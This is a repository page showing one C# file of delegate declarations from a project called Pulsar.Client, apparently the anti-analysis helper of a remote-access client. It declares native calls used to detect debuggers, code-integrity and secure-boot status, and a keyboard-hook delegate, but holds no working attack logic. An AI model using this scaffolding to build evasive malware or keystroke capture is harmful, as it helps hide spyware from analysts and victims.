Files
PulsarK-main/Pulsar.Client/Anti/Helper/Delegates.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

45 lines
2.6 KiB
C#

using System;
using System.Runtime.InteropServices;
namespace Pulsar.Client.Anti.Helper
{
public class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess2(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryInformationProcess3(IntPtr hProcess, uint ProcessInfoClass, ref Structs.PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool SysNtClose(IntPtr Handle);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation(uint SystemInformationClass, ref Structs.SYSTEM_CODEINTEGRITY_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation2(uint SystemInformationClass, ref Structs.SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQuerySystemInformation3(uint SystemInformationClass, ref Structs.SYSTEM_SECUREBOOT_INFORMATION SystemInformation, uint SystemInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint SysNtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate int SysNtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr GenericPtr();
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate int GenericInt();
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr KeyboardHook(int nCode, IntPtr wParam, IntPtr lParam);
}
}